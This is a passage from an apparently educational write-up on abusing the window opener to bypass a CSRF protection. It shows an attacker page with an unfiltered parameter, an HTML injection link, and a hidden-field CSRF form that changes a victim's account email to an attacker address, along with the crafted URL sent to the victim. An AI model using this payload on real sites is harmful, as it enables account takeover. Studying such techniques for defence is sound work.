  • 6. | Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 6 4. Exploiting After analysis, I found a way from where we can create an Opener Value which is HREF HTML Tag. So I created two pages 1) xss.php 2) csrf3.html 1) Both pages are hosted on attacker web server, Currently assume as “localhost” "xss.php" is the page where I create a HREF link to the "csrf3.html" “xss.php” is passing a parameter called “zip” as GET method. Basically I keep the “zip” as un-filtered, so whatever you inject in this, will display on page as it as. So I injected the HREF TAG as Below <a href="http://127.0.0.1/csrf3.html">Link For Target Application</a> 2) The second csrf3.html page will be like this as we seen in previous. <html> <body> <form action=”http://websecgeeks.com/home/accountsettings” method=”POST”> <input type=”hidden” name=”newemail” value=”attacker@attacker.com” /> <input type=”hidden” name=”Submit” value=”Save” /> <input type=”submit” value=”Submit form” /> </form> </body> </html> And final URL which should be sent to victim is http://127.0.0.1/xss.php?zip=<a href="http://127.0.0.1/csrf3.html">Link For Target Application</a>
  • 7. | Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 7 Below you can see the screen shot. 3. Now I am set. After clicking the Link given as HREF tag, I was able to open a new page in new tab without getting logout, and also able to Bypass the CSRF Security. 5. Conclusion As we already know that client side security is not a good idea. After this demonstration we can say that creating new idea about preventing web application attacks is pretty good, but it is important that how we implement them.